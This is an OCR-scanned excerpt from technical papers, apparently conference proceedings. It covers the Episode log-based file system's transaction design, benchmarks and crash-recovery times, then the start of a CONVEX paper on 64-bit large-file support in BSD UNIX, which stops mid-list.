In Episode, all the updates to the meta-data are grouped into transactions that are atomic, meaning
that either all the updates within a transaction (if a transaction commits), or none of them (if a transaction
aborts), will be applied. By making all file system meta-data modifications within atomic transactions, the
file system can be restored to a consistent state after a crash.

Episode implements atomic transactions through a a combination of write-ahead and old value/new
value logging techniques [MOB 89). In a nutshell, this form of logging works by logging, for every update
made to any file system meta-data, both the original and new values of the updated data. Furthermore,
before the buffer package allows any dirty meta-data buffer to be written back out to the disk, it writes
out these log entries to the disk. In the event of a crash, only some of the updates to the file system
meta-data may have made it to the disk. If the transaction aborted, then there is enough information in
the log to undo all of the updates made to the meta-data, and restore the meta-data to its state before the
transaction started. If the transaction committed, there is enough information in the log to redo all of the
meta-data updates, even those that hadn't yet made it from the disk buffers to the disk.

The recovery procedure runs after a crash I replaying the committed transactions and undoing the
uncommitted transactions, and thus restoring the file system to a consistent state. Since the log only
contains information describing transactions still in progress, recovery time is proportional to the activity
at the time of the crash, not to the size of the disk. The result is that the log-replaying operation runs orders
of magnitude faster than the BSD rsck program. There are some cases in which the recovery procedure
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can not regenerate a consistent file system, however, such as when hard I/O errors occur while updating
critical meta-data. In such cases, the Episode Salt1ager utility needs to be runj the salvager's performance
characteristics are very similar to fsck.

The anode layer manages all references to data stored in containers. The container abstraction pro­
vides for three modes of storage: The inline mode uses extra space in the anode to store small quantities
of data. This allows for efficient implementation of symbolic links, ACLs, and very small files. The frag­
mented mode enables several small containers, too big for inline storage, to share a disk block. Fragments
are used for files smaller than a block. Finally, the blocked mode describes large containers. Four levels of
indirect blocks [MCK 84] can be used to address 231 block addresses. Due to other restrictions however,
the maximum size of a file is bound by MIN(232 * fragmentSize, 231 *blockSize). Thus, if the fragment
size is lK, and the block size is 8K, a file can grow to 242 bytes.2 Block allocation policies try to ensure

2 Additional kernel modifications, such as changes to the lseek system call interface, are required to use files of this size
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contiguity, and support is provided for sparse files.

Directories are implemented straightforwardly as specially typed containers. Episode augments the
directory implementation with hash tables to reduce search processing. Each 8K directory page contains
its own separate hash table.

The Episode vnode layer extends the vnode operations designed by Sun Microsystems [KLE 86,
ROS 90] with support for ACLs and filesets. In addition, the vnode operations that read or write files
are integrated with the virtual memory system on SunOS 4.0.3c and AIX 3.1, allowing Episode to use
the virtual memory pool as a file cache. This greatly improves the performance of the read and write
operations on files, due to the increased cache size. Episode has also been optimized to detect sequential
access and coalesce adjacent reads and writes.

Logging Architecture

Typical transactional systems use two-phase locking (2PL) for ensuring consistency of data that is
modified within a transaction. In two-phase locking, a transaction may, from time to time, obtain new
locks, but it can never release any locks until the second "phase," when the transaction commits. By
forbidding the release of locks until after the commit, this scheme guarantees that no other transactions
ever read uncommitted data. Without two-phase locking rules, one transaction could lock, modify and
commit data already modified and unlocked by a still-running transaction. An example is given below.

2PL ensures serializability and atomicity of the transactions, but at a cost: it reduces the concurrency
in the system if the data being locked is a hot spot, since all the transactions that wish to obtain a lock
on the hot spot must wait for the entire transaction currently holding the lock to complete.

, In addition, using 2PL can add complexity to interface design in layered, modular systems. In a
layered system, code in a higher layer typically calls code in a lower layer, which may lock its own private
objects for the duration of a call. Quite often these locks are not exported. In order to use 2PL in such
a model, one has to export details of the locks obtained by the lower level modules, since the locks they
obtain remain locked until the high level transaction commits, and failure to set these low-level locks in
the proper order could lead to deadlock. Two-phase locking thus greatly increases the complexity of such
a layered interface.

To better understand the problem addressed by two-phase locking, which is known in the database
literature as the problem of cascading aborts, consider the scenario in Figure 4, where two-phase locking is
not performed:

transaction 1

transaction 2

51 la Ibl ubi

time ------l.,~

52 Ib2 ub2 c2 crash e1

Figure 4: Formation of an Equivalent Class.

Transaction 1 starts at time sl, and locks two objects, A and B, at times la1 and Ib1, respectively.
Transaction 1 shortly thereafter unlocks object B at time ub1. Next, before transaction 1 commits,
transaction 2 modifies object B: transaction 2 starts at time s2, and locks object B at time Ib2 and finally

within most kemels.
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unlocks object B at time ub2. Finally, transaction 2 commits this change to object B at time e2. Now,
assume the system crashes shortly thereafter, at the time marked crash. After the log replay occurs,
object B will contain the changes made by transactions 1 and 2, since transaction 2 committed these
changes to this object. However, object A does not have the change made by transaction 1 committed,
since transaction 1 never committed. The result is that only one of the changes made by transaction 1,
the change to object B, is actually made permanent..

Episode's transaction manager avoids these problems by using a type-specific approach to transac­
tional locking instead of two-ph~ locking. Episode transactions can acquire locks when they need them,
and drop them as soon as they are finished using them, rather than waiting for the transaction's end. This
allows for greater concurrency in the system, but required alternate mechanisms to prevent uncommitted
data from being read by other transactions.

In order to avoid the problem of updating uncommitted data, Episode aborts transactions that might
have otherwise been able to commit, if a crash intervenes. Specifically, all active transactions that lock the
same object during their lifetime are merged into an equivalence class (EC). An EC has the property that
either all of its transactions commit or none do.3 In the example above, transaction 1 and 2 would form
an EC. An EC can be viewed as an umbrella transaction that subsumes all the transactions that belong
to it. ECs are formed whenever active transactions exhibit read-write sharing amongst themselves.

If the system crashes before all of the transactions in an EC have committed, all the transactions in
the EC are aborted. It is therefore desirable to minimize the duration and the number of ECs formed in the
system. To this end, transactions typically delay the use of "hot" data until as close to the transaction's
end as possible to minimize the chance that some other transaction will have to read this data before it
commits.

The primary goal of the logging system in Episode is to guarantee the consistency of the file system.
This decision impacted a number of other design choices:

Meta-data changes to the disk itself can often be deferred, unless specifically requested by an oper­
ation like fsync. Consistency of the file system doesn't require that the system be current.

No transactional guarantees are required about the user-data, since consistency of the file system
requires only that the meta-data be consistent. Episode logs only meta-data changes. Although restricting
logging to meta-data greatly reduces log traffic, mixing logged and unlogged blocks in the same file system
introduces some complexity.

To illustrate some of these issues, note that if a crash occurs between the time that a data block
is allocated to a file and the time that the block is first written, the former data may appear in the new
file as uninitialized data. The problem arises because the allocation update commits transactionally while
the data update fails, since the data update occurs outside of the transaction system. Episode fixes this
problem by starting another transaction when the block is allocated, and ending it when the first write
to it completes. If the system crashes and the transaction aborts, the recovery procedure for this special
transaction zeroes the contents of the block.

Since users do not define the start and end times of transaction, transaction sizes can be bounded
when they begin. This allows the use of a very simple algorithm to ensure that running transactions never
exceed the space available in the log. Transactions that run too long or modify too much data represent
programming errors.

As mentioned above, Episode logs both the new value and the old value of the data being modified.
A number of other systems simply log the new value of the modified data. In systems that log only new
data, dirty data can not be written out to its final home on the disk until the transaction actually commits,
since the log does not contain enough information to undo the updates, and the transaction manager can

3Each transaction by itself fonDS an equivalence class with one member.
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not redo the updates to get to a consistent state until the transaction has ended and thus made all of its
modifications. Our design choice was significantly influenced by our concern that using new value-only
logging would seriously constrain the buffer package's choice of which buffers to write out to the disk, and
when to write these buffers. Old value / new value logging, on the other hand de-couples the writing of
buffers from the end of transactions, at the expense of having to write more data to the log:

Introducing logging in Episode affected the implementation of all the vnode operations. The bound
on the transaction size required by our log space allocation policy dictated that complicated and time
consuming operations be broken up into smaller bounded operations, each of which can be bracketed
transactionally. For example, a delete of a large file is broken into a sequence of separate file truncation
operations, followed by a deletion of the empty file. After each transaction, the file system is consistent, if
not in the final desired state.

Performance

This section details the result of running benchmarks that measure the performance of Episode and
a reference file system (The IBM RS/6000's JFS or Sun's BSD file system), both on meta-data and I/O
operations. Comparison with Sun's BSD illustrates the effects of logging in Episode, while comparison
with JFS, which also uses logging, measures the efficiency of our implementation. All measurements were
taken on the following platforms:

• A SUN SPARCstation 1 running SunOS 4.0.3c, with 8MB memory and 200MB Seagate ST1239NS
SCSI disk (peak data transfer rate 3.0 Mbytes/sec average latency 8.33 msec).

• An IBM RS/6000 Model 320 running AIX 3.1, with 32MB of memory and 320MB IBM 0661-371
SCSI disk (peak data transfer rate 2.0 Mbytes/sec, average latency 7.0 msec).

Our performance goals were that Episode perform meta-data update operations significantly faster
than the Berkeley Fast File system, while doing large I/O operations essentially as fast as the native
disk driver would perform large transfers. We expect that our meta-data update operations would be
considerably faster than BSD's because Episode batches meta-data updates into writes to the file system
log.

In terms of the experiments done in this section, we thus would hope to do meta-data update
operations considerably faster than the SunOS BSD implementation, and normal read and write operations
essentially as fast as the JFS implementation.

One would also expect that Episode would perform I/O somewhat faster than the SunOS 4.0.3
BSD implementation. However, our integration of Episode with the SunOS virtual memory system is not
yet complete. In particular, on that platform, Episode does no read-ahead, nor are any write operations
asynchronous, and these problems significantly impact the SunOS read and write performance figures.
Under AIX 3.1, we have completed this level of virtual memory system integration, and on that platform,
we expected that our performance would be essentially as good as IBM's JFS. As an aside, the problems
in doing read-ahead and asynchronous I/O in AIX 3.1 and SunOS 4.X are quite similar, and we do not
expect any serious problems in completing the SunOS implementation.

In the next sections, we present the results of various performance tests, and some discussion on the
results.

Connectathon Benchmark

The connectathon test suite tests the functionality of a UNIX-like file system by exercising all the
file system related system calls. It consists of nine tests:
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• Testl creates a multi-level directory tree and populates it with files. A meta-data update intensive
test.

• Test2 removes the directories and files created by test!. A meta-data update intensive test.

• Test9 does a sequence of getwd and stat on the same directory. Primarily meta-data read operations.

• Test4 executes a sequence of chmod and stat, on a group of files. A meta-data update intensive test.

• Test5 writes a 1 MB file sequentially, and then reads it. Primarily I/O operations.

• Test6 reads entries in a directory. Primarily meta-data read operations.

• Test 7 calls rename and link on a group of files. A meta-data update intensive test.

• TestB creates symbolic links and reads them by symlink and readlink calls respectively, on multiple
files. Primarily a meta-data update intensive test, with significant meta-data reading, too.

• Test9 calls stat/so

Figures 5 and 6 compare Episode performance with JFS on an RS/6000, and with BSO on a
Sparcstation.4

The most interesting numbers in this section come from a comparison of Episode and BSO on the
Sun platform. Those tests representing primarily meta-data updates (tests 1, 2, 4, 7 and 8) show the
benefits of logging on meta-data updates; in all but one test, Episode does at least twice as well as BSD in
elapsed time. The test that gives Episode difficulty, test2, does a lot of directory I/O operations. These
operations use a private buffer cache, one that appears from our examination of read and write counts to
be too small.

In addition, we compared Episode with another log-based file system, JFS. This was done as an
additional check on our implementation, to verify that our performance was approaching that of a highly
tuned commercial file system with a somewhat similar architecture. These figures show that Episode
performance on meta-data operations is comparable or better than that of JFS in terms of elapsed time.

In addition to comparing Episode in elapsed time, we also measured the CPU utilization in Figures
7 and 8. In both of these sets of figures, Episode's CPU utilization is higher than that of the native file
system. We wiII discuss reasons for this below, but we should point out that we expect this situation to
improve as Episode's performance is tuned further. In particular, for the meta-data reading tests, Episode
is CPU-bound, and we expect further reductions in CPU usage to map directly to reductions in elapsed
time.

Meta-data updates Other
testl test2 test4 test7 test8 test3 test5 test6 test9

Elapsed Episode 4 3 2 1 2 10 2 4 0
Time JFS 6 3 1 5 6 3 10 8 0

Figure 5: Comparison of Episode with JFS on the RS/6000 platform, executing the Connectathon tests.
The numbers listed are averages of several runs. All figures are elapsed times in seconds.

Other Benchmarks

We also ran two tests representing a mix of file system operations: the modified Andrew benchmark
OUS 90, HOW 88), and the NHFSTONE benchmark from Legato Systems (vl.14).

4 In some instances, elapsed time appears to be less than the CPU time, due to difference in the granularity of measurement.
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Meta-data updates Other
test! test2 test4 test7 test8 test3 test5 test6 test9

Elapsed Episode 7 6 4 2 4 0 46 6 1
Time SunOS 15 6 17 11 13 0 25 14 0

Figure 6: Comparison of Episode with BSD on the Sun platform. executing the Connectathon tests. The
numbers listed are the averages of several runs. All figures are elapsed times in seconds.

Meta-data updates Other
test! test2 test4 test7 test8 test3 test5 test6 test9

CPU Episode 1.7 1.2 2.6 1.7 2.0 10.0 1.8 4.0 0.6
Time JFS 0.6 0.5 1.0 0.8 0.9 2.9 1.9 1.4 0.3

Figure 7: Comparison of Episode with JFS on the RS/6000 platform. executing the Connectathon tests.
The numbers listed are averages of several runs. All figures are CPU times in seconds.

The modified Andrew benchmark was originally devised to measure the performance of a distributed
file system. and operates in a series of phases, as follows:

The benchmark begins by creating a directory tree. and copying the source code for a program in
that tree. It then performs a stat operation on every file in the hierarchy. It subsequently reads every
file as part of compiling them, using a modified GNU C compiler that generates code for an experimental
machine.

The results of running this benchmark on the RS/6000 configuration above were that JFS completed
the test in 90.0 seconds, while Episode took 102.2 seconds. Most of the difference between the two tests
occurred on the stat and copy phases of benchmark.

The NHFSTONE benchmark from Legato Systems, Inc. (v1.14) was altered to be a local file system
benchmark instead of an NFS benchmark. The dependence on kernel NFS statistics was removed and the
benchmark was run locally on the server rather than over the network from a client that has mounted an
NFS exported file system. The standard mix of operations was used to test the throughput of JFS and
Episode, i.e., 13% fstat, 22% read, 15% write, etc. The tests were run on a 32MB IBM RS/6000 running
AIX 3.1 release 3003. A Fujitsu M2263 disk was used to hold the file systems in the tests.

The test results indicate that JFS reaches a peak throughput level of about 233 file system operations
per second (with 2 processes) while Episode reaches about 300 operations per second (with about 10
processes). In doing so, Episode used roughly twice as much CPU per operation as JFS to achieve these
higher throughput levels.

In short, Episode ran slightly slower than JFS on the modified Andrew benchmark, and slightly faster
than JFS on the NHFSTONE benchmark. We feel that the performance of Episode on these benchmarks
is quite acceptable, given the tuning that will be done as vendors ship Episode.

Read and Write

Episode's ability to utilize the available disk bandwidth is shown in the comparison with JFS on
the RS/6000 on the read and write tests. Two types of tests were run, one type measuring cached read
performance, and one type measuring uncached read and write performance.

Both the cold cache read performance numbers (Figure 9) and the cold cache write performance
numbers (Figure 11) show quite similar performance between JFS and Episode. We believe that this
indicates that Episode's algorithms for doing I/O operations in large chunks are working reasonably well.

The Episode warm cache read rate is a bit slower than the corresponding JFS rate, as can be seen in
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Meta-data updates Other
testl test2 test4 test1 test8 test3 testS test6 test9

CPU Episode 2.8 2.1 3.8 2.0 4.0 0.1 15.4 5.1 0.9
Time .SunOS 1.3 0.8 2.0 0.3 1.9 0.3 6.1 1.5 0.4

Figure 8: Comparison of Episode with BSD on the Sun platform, executing the Connectathon tests. The
numbers listed are the averages of several runs. All figures are CPU times in seconds.
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Figure 9: Comparison of Episode and JFS Read Rates - Cold VM Cache.

Figure 10. This rate measures how quickly the file system can locate its data and copy it, or map it, from
the virtual memory system into the caller's buffers. As such, it is not as much of a file system performance
tests as a virtual memory integration performance test. These figures peak between 16 and 20 megabytes
per second, well above the disk's actual data transfer rate.

It is clear from comparing the warm and cold read performance numbers that the key to good system
performance is successful integration with the virtual memory system.

Performance Summary

Episode performs well in handling basic read and write operations, doing I/O in as large a chunk as
useful. In this area of our design, we borrowed heavily from the work done on both AIX's JFS and SunOS's
BSD file systems [MCV 91] on obtaining extent-like performance from BSD-style file system organizations.

Episode's greatest performance benefits come in its performance on meta-data operations. III these
operations, the use of logging greatly reduces the number of synchronous write operations required, signif­
icantly improving system performance.

In addition, Episode is a relatively new file system, and is still undergoing significant performance
measurement, profiling and tuning. We used the tracing and profiling facility on the RS/6000 to produce
traces that recorded each procedure entry and exit along with timing information. A detailed study of the
these traces on micro-benchmarks identified a wealth of targets for optimization. In particular we found
that:
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Figure 10: Comparison of Episode and JFS Read Rates - Warm VM Cache.
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Figure 11: Comparison of Episode and JFS Write Rates.

• Episode is not passing enough context information between layers,

• certain invariant computations are being performed repeatedly,

• common data paths are using expensive general-purpose interfaces, where a special case data path
would be more efficient, and

• various parameters, like the size of in-core caches for the vnodes, anodes and buffers, have not been
tuned.

We expect CPU usage to drop considerably as we further optimize the code.
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The integration of Episode with the virtual memory system under SunOS is still incomplete; in
particular, read-ahead and asynchronous write are not yet implemented on that platform. As a result,
the performance of Episode on the Sun, using test5, is relatively poor as compared with BSD. On the
RS/6000 Episode is better integrated with the native virtual memory system, does perform read-ahead
and asynchronous writes, and exhibits read-write performance comparable with the local file system, JFS.
This leads us to expect that the implementation on the Sun will perform equally well, once the Sun port
is completed.

Recovery Time

Episode's time to recover depends primarily on the size of the active portion of transaction log. The
active portion of the log is that part of the log that needs to be replayed after a crash, and must include all
of the uncommitted transactions, since these must be undone in the event of a crash. The active portion
of the log may go back even further, should the buffer cache still contain dirty meta-data blocks that were
modified by committed transactions. In this case, the updates are in the log and only in the log, requiring
the replay of that part of the log in the event of a crash. The operation of writing buffers modified by
committed transactions and discarding those portions no longer required to ensure the permanence of those
transactions is generally called checkpointing the log.

In order to estimate the size of the active portion of the log after a crash, note first that no matter how
often the system is checkpointed, there is no way to avoid an active portion of the log containing at least
those transactions that are currently executing. Thus, as system activity at the time of a crash increases,
we should see the minimum recovery time rise correspondingly. In addition, if the log is checkpointed only
every T seconds, as is the case with Episode, then the active portion of the log can rise to include all the
transactions that modified the dirty buffers still resident in the buffer cache. Of course, Episode will not
permit the log to become full, but it is difficult to guarantee any other bound on the size of the active
portion of the log.

Of course, the time to replay a block of the active log is not constant, but is bounded: There is a
maximum number of meta-data blocks whose updates can be described by a block of the log, but many
log blocks will effect considerably fewer meta-data blocks.

From the above discussion, the reader can see that the recovery time for an Episode partition should
rise in proportion to the number of processes actively modifying the file system at the time of the crash,
but that there will be a number of recovery calls that take somewhat longer than the minimum, because
of uncheckpointed, but committed, transactions.

In order to verify this state of affairs, we ran some experiments, timing recovery on a 900 megabyte
aggregate, with a 9 megabyte log, in two configurations: with 6 megabytes of new data stored in the
aggregate, and with 260 megabytes of new data stored in the aggregate.

After crashing the system with 10 active processes modifying the 6 MB file, recovery took between
4.1 and 6.7 seconds to execute, while after crashing the system with 20 active processes modifying the same
6 MB file system, recovery took 10.5 seconds on the single instance we ran. Similarly, in an experiment
on the 260 MB file system, crashing the system with 10 active processes took between 5.1 and 8.8 seconds
to recover, while crashing the system with 20 active processes took 2.7 seconds to recover on the single
instance we ran. From this data, we can see that recovery takes essentially the same amount of time on
small and large aggregates.

On the other hand, there was a noticible, if highly varying, correspondence between system activity
at the time of a crash, and recovery time. In tests with the 6 megabyte file system, recovering after a crash
with one active process took between 1.7 and 2.7 seconds. Recovering after a crash with 5 processes took
between 1.9 and 9.2 seconds. Recovering with 10 processes took between 4.1 and 6.7 seconds. Recovering
with 20 processes took 10.5 seconds (one data point), and recovering after a crash with 49 active processes
took 19.6 seconds.
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In conclusion, we note that the time to recover depends in a complex way upon a number of variables,
none of which, however, are the aggregate size. Despite this complexity, it also appears that in typical
configurations, recovery times will be under 30 seconds.

Status

Episode is functionally complete, and is undergoing extensive stress testing and performance analysis.
Episode will ship with the DCE as the Local File System (LFS) component, and also works with Sun's
Network File System [SAN 85]. Episode is designed to be portable to many kernels, and presently runs on
SunOS 4.0.3c, SunOS 4.1.1 and AIX 3.1.

The design of Episode began in 1989, and full-scale implementation began in January 1990. The
file system was first tested in user space and then plugged into the kernel, saving considerable amounts of
debugging in the kernel environment. The present code, which includes substantial debugging code, test
suites, scaffolding to run tests in user space, and utilities, is about 70K lines of C, according to "we".

Conclusions

The abstraction of containers has proved to be very useful. By separating the policy from the
mechanism for placing the data on the disk, the container abstraction helps isolate the code responsible
for data location and allocation, as well as making many structures extensible "for free." The resulting
flexibility in data layout policies enables future releases of Episode to use more knowledge in allocating
space for user data and meta-data, while leaving the disk format itself formally unchanged.

Our experience with Episode also shows that a general purpose transactional system is not required
for a file system. The Episode log implements only a small subset of the functionality needed in a database
system, and our log and recovery packages are but a fraction of the size of those in traditional database
products.

On the other hand, the Episode transaction manager must deal with a few technicalities not present
in most database systems. There are some complications introduced by a design storing both meta-data and
unlogged user data on the same disk. Furthermore, the decision to form equivalence classes of transactions
instead of using two-phase locking also required new code.

The original motivation for implementing a log-based system was fast crash recovery, but we are
obtaining substantial performance benefits as well. Logging has improved the performance of meta-data
updating operations and reduced the cumulative disk traffic by permitting Episode to batch repetitive
updates to meta-data.

The key to obtaining good performance of read and write operations was a successful integration
with the virtual memory system, and performing I/O in large blocks. We confirmed the results that
disk bandwidth is utilized more efficiently when data transfers occur in large chunks. The virtual memory
system provides a very effective memory cache for files, and also enables the merging of requests for adjacent
disk blocks into one large request. In general, however, virtual memory systems exhibit a great deal of
idiosyncratic behavior, and are sufficiently diverse that the integration process is very difficult.
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An Implementation of Large Files for BSD UNIX

Dave Shaver, Eric Schnoebelen, George Bier - CONVEX Computer Corporation

Abstract

The design of the ConvexOS1 filesystem, based on the BSD Fast File System, allows for a theoretical
maximum file size of about 4402G2 with a 4K filesystem block size (or about 64T with 8K blocks.)
Unfortunately, the actual limit of the CONVEX filesystem has been 2G-l because key kernel values and
file offset pointers are 32-bits in size. This is a problem shared by many other UNIX

3 vendors. This
paper describes the path CONVEX has taken to implement files and filesystems larger than 2G. The
implementation is based on a new set of 64-bit system calls and new library interfaces; it requires no
changes to the on-disk i-node representation. The large file programming models and the kernel and
utilities changes are described. Measurements of read and write I/O rates are presented and show that
there is little performance penalty for manipulating large files using the chosen implementation.

Introduction

The Berkeley Software Distribution (BSD) Fast File System (FFS) is a relatively high-performance filesystem
for UNIX. (See [McKusick84] and [LefHer89] for a full description of the FFS.) The key data structure of
each file is the i-node. Data within the FFS is referenced via the i-node and is stored in both direct blocks
and in single, double, and triple indirect blocks. Within the i-node there are twelve direct block pointers,
each of which point to a block of on-disk file data. The single indirect pointer is a reference to a filesystem
block full of direct pointers. Double and triple indirect pointers are implemented in a similar manner. In
theory, by using triple indirect blocks, the FFS supports very large files (up to 64T with 8K filesystem
blocks, for example.) The on-disk FFS i-node also has 64 bits set aside to hold the file size. However, most
FFS implementations do not use the triple indirect blocks [LefHer89] and only use 32 of the 64 bits in the
on-disk i-node to hold the file size.

Although CONVEX'S on-disk i-node structure supports very large files, our system call interface limits
file sizes to 2G-1. The key variable that causes this limitation is the 32-bit file offset pointer. The file offset
pointer must be able to point to any location within a file; thus a signed, 32-bit file offset pointer implicitly
limits file sizes to 2G-1. At CONVEX, a leading supplier of air-cooled supercomputers, we have addressed the
issue that all high performance vendors will eventually face: creating files larger than 2G-1. This issue is
similar to the transition from a I6-bit, block-oriented interface under UNIX V6 (seek), to a 32-bit interface
under UNIX V7 (lseek).

In the next section we describe the programming models we considered to overcome the 32-bit file offset
problem. The advantages and disadvantages of each scheme are discussed and the chosen implementation is
described in detail. Although the selected implementation does not have the most elegant C programming
interface, it does meet our primary goal that FORTRAN programs only need to relink with the latest version
of the FORTRAN libraries to manipulate large files. Subsequent sections describe the changes we made to
the kernel and the utilities to support large files. Finally, performance evaluation results are given, showing
that the I/O rates for large, sequential reads and writes degrade only slightly as file sizes grow beyond 2G.

Programming model alternatives

The problem we needed to solve was the implications of changing the file offset pointer from 32 to 64 bits
at the system call level. The major constraints on our solution were:

1ConvexOS and CONVEX are trademarks of CONVEX Computer Corporation.

2Throughout this paper we use K for kilobytes, M for megabytes, G for gigabytes, and T for terabytes.

3UNIX is a registered trademark of UNIX Systems Laboratories.
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'2. Remaining backwards compatible with binaries and sources that do not require large files

Had we not been able to meet the first constraint, we probably would not have implemented large
files under our current FFS-based filesystem. This constraint arose out of concern for the impacts our
implementation would have on our customers.

The second constraint on our solution implied two things. First, we needed to solve the burdensome
issue of how the kernel treats applications that do not comprehend large files, yet attempt to manipulate an
existing large file. Second, we had to provide both the existing 32-bit versions of the system calls as well as
new 64-bit versions.

We coined the term "large file unaware" to describe an application that does not know files may be larger
than 2G. Because of the first major constraint on our solution, we wanted a large file unaware application to
view an existing large file as a file 2G-l in size. For example, if an unaware application opens an otherwise
quiescent large file in O_APPEND mode, it receives an EIIVAL error at write () time. This normal appearance
of large files to unaware applications extends beyond just the read() and writeO semantics at the 2G-l
boundary. We do not want an unaware application to writeO to or readO from a location to which it can
not lseek(). This arises out of a concern for maintaining our POSIX compliance for unaware applications.
Once we had chosen how an unaware application would be treated if it attempted to manipulate a large file,
we addressed the programming model alternatives for both FORTRAN and C.

Since FORTRAN I/O is record based and accessed only through library routines, we were able to modify
the libraries to exclusively use the new 64-bit system calls. Thus FORTRAN programs become large file aware
automatically, simply by relinking. However, there is still an implicit restriction on file sizes under FORTRAN
since record numbers must fit in a 32-bit data type. Although a FORTRAN application can still not create
files that contain more than 232 records, they can build files up to IT-512 as long as they do not exceed the
record limit.

Unlike the seamless introduction of large files to FORTRAN, it was difficult to choose the C large file
programming model. The existing standards POSlx.l and ANSI C were consulted to see if they might
influence our large file interface, since ConvexOS is POSIx.l compliant in the ANSI C environment (see
[CONvEX89-1][cONVEX89-2] for more information.) The ANSI C standard [ANSI90] requires a long as the
data type passed to fseekO and the type returned by ftell(). However, it places no restrictions on the
data type used and returned by fsetposO and fgetposO. The POSIx.l standard [IEEE88], when used in
the ANSI C environment, requires that off_t be an integral, arithmetic, type. With these restrictions in
mind, several programming models were considered, including the following:

1. Using segments or block offsets in addition to straight byte offsets during a IseekO call. This is how
UNIX V6 solved the problem of specifying an offset larger than allowed by the PDP-II's 16 bit integers.

2. Add mode bits on the a. out image that allow the kernel to determine if the application is large file
aware.

3. Create new system calls that use a larger file offset, but make them invisible to the programmer.

4. Create new system calls that use a larger file offset, but make them visible to the programmer.

We felt that the first model, using segments, is too dissimilar to modern UNIx-like operating systems to
be seamlessly integrated into ConvexOS. We also noted that the UNIX V6 segmented solution with seekO
was later dropped in favor of IseekO.4 Thus, in an attempt to learn from UNIX history, we didn't want to
create another block-oriented interface.

The second model involves a new mode bit within the application. Although ConvexOS has used the
mode bit solution in the past-most notably for our pOSIx.l support-we felt that this model required too
much effort to be implemented in the time available. Specifically, implementing this solution requires kernel,
compiler, loader, and library work.

With the segmented interface and mode bit models eliminated, only two alternatives for the C large file
programming model were seriously considered. The first alternative was to hide the 64-bit versus 32-bit

4 [Kernighan], p. 164-5.
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system call issue from the user, as we did in the FORTRAN programming model. The second alternative, and
the one implemented, is to expose the new 64-bit system calls to the user.

The first alternative, hiding the 64-bit versus 32-bit system calls, has the advantage that existing ANSI C­
conforming code can be recompiled and instantly becomes large file aware. However, this requires that our
long type become a 64-bit data type. A disadvantage of this model is that non-ANSI c-compliant code that
assumes sizeof(int) == sizeof(long) might not execute correctly when compiled in ANSI c mode.

The second alternative forces the programmer to explicitly call the new 64-bit system calls for large file
access. This has the advantage that, without compiler changes, we could implement, test, and deliver a
large file product in the time that was available. The data type for the 64-bit file offset pointer that is used
by the new system calls is an off64_t. This is a typedef to our compiler's preexisting 64-bit data type,
the long long. The disadvantage is that this large file C programming model is not compliant with either
ANSI c or POSIX.l. However our chosen C programming model meets most customer needs.

From a C programmer's standpoint, both proposed C programming models require about the same
amount of work to make a program large file aware. The first requires finding potential standards violations
in the source, while the second requires recoding the application to use the new system call interface. Thus,
potentially, both models require code modifications.

A key point we kept in mind while developing our programming models for C and FORTRAN was that
having large filesystems benefits even large file unaware applications. Although an unaware application can
not manipulate large files, large filesystems can ease administration of disk resources. In our environment,
customer demand for large filesystems is certainly stronger than demand for large files.

Kernel changes

Since the chosen programming model increases the file offset pointer to 64 bits, the new maximum file
size is theoretically 263 - 1 bytes. However, because the design required that the on-disk filesystem i-node
representation not change, we were unable to achieve this maximum size. The internals of the CONVEX
kernel and filesystem may perform I/O in blocks as small as 512 bytes; thus a file is logically broken into
sequentially-numbered 512 byte blocks. Since these block numbers are stored as a signed 32-bit value, the
largest file that can be created is limited to the maximum number of 512 byte blocks this value can represent.
Therefore, the maximum large file size becomes (231 _ 1) x 512 =240 - 512 = IT - 512. This limitation is
considered acceptable given current disk technology and customer applications. We believe that by the time
the 1T limit becomes inhibitive, we will either have a new filesystem or an entirely new OS technology. Also
note that increasing the size of the block pointer to 64 bits requires work within the filesystem itself and
within other kernel subsystems. This task could easily quadruple the work necessary to implement large
files.

Since no major filesystem modifications were desired, we did not need to take actions as radical as MSS-II
did to implement large filesystems under Amdahl's UTS [N ASA90]. The UTS filesystem is based on the
standard System V filesystem, thus the MSS-II work needed to change the on-disk filesystem structure. Also,
since ConvexOS already supported disk striping, we did not need to solve the problem of building filesystems
larger than a single physical disk partition (see [CONVEX91] and [Landherr91] for a full description of our
disk striping implementation.) Given the limitations of our proposed large file implementation, the kernel
work broke down into two main tasks:

1. Programming interface changes needed to implement our programming model, and

2. Internal filesystem changes.

Each of these tasks is described below in detail. Note that both performance tuning of the filesystem and
the scalability of existing filesystem algorithms were not addressed during this project.

The programming interface was enhanced to include new 64-bit versions of key system calls. The new
system calls are: lseek640, truncate64°,ftruncate64°,stat640, fstat640, and lstat640. Each
call matches the functionality of its 32-bit counterpart, but works with files larger than 2G. We added new
openO (O_LARGEFILE) and fcntlO (FLARGEFILE) large file flags. If an application uses either flag during
the appropriate system call, it will have access beyond a file's 2G point; without the flag, the application is
considered large file unaware and it will view an existing large file as a 2G-1 file. Applications accessing large
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files via NFS are considered large file unaware, thus only the first 2G-l bytes of a large files are accessible
via NFS.5 When lseek640 is called, it sets the FLARGEFILE bit as a side effect since any application that
uses this system call is considered implicitly large file aware.

The internal filesystem changes involved adding 64-bit versions of the key system calls and correctly inter­
preting the file size field of the existing on-disk i-node. To eliminate duplication of code, both lseek() and
lseek640 are stubs that call seek_internalO. seek_internal() knows the type of seek desired, works
exclusively with 64-bit offsets, and enforces the old 2G-l file limit on large file unaware applications. In a
similar fashion, truncate 0 and truncate640 call truncate_iO, while ftruncateO and ftruncate640
call ftruncate_i ().

Correctly interpreting the file size field of the i-node is important. The on-disk i-node already used a
quad6 for the file size, thus we did not need to enlarge it. Before the implementation of large files, one of the
two longs in the quad was unused since only 32 bits were needed. Unfortunately, due to an error originally
made while porting the BSD kernel to the CONVEX C series architecture, the wrong long was in use. Thus,
a macro was written to swap the two longs in the quad each time the value is read from or written to disk.
However, after the quad has been read from disk and the longs have been swapped, the value is strictly
treated as an off64_t. This movement from 32 to 64 bit offsets within the kernel is not a performance issue
since the CONVEX C-series architecture has 64-bit scalar registers. An additional feature is the ability to
disallow the creation of large files on a per-filesystem basis. Besides the new functionality, we spent time
changing or adding type casts within the filesystem code.

Testing of the new kernel and library functionality took about six programmer weeks and was accom­
plished using normal filesystem semantics regarding holes in files. Since on-disk data blocks are not allocated
for a hole, we could create very large files on a small physical disk stripe. Although much of our develop­
ment was carried out with ten IG drives striped together in various ways, a single filesystem of over 80G of
physical storage was created since large file support was released.

Library work to support large files broke down into these tasks:

• Adding fseek640 and ftel1640 to stdio.

• Enhancing fgetposO and fsetposO.

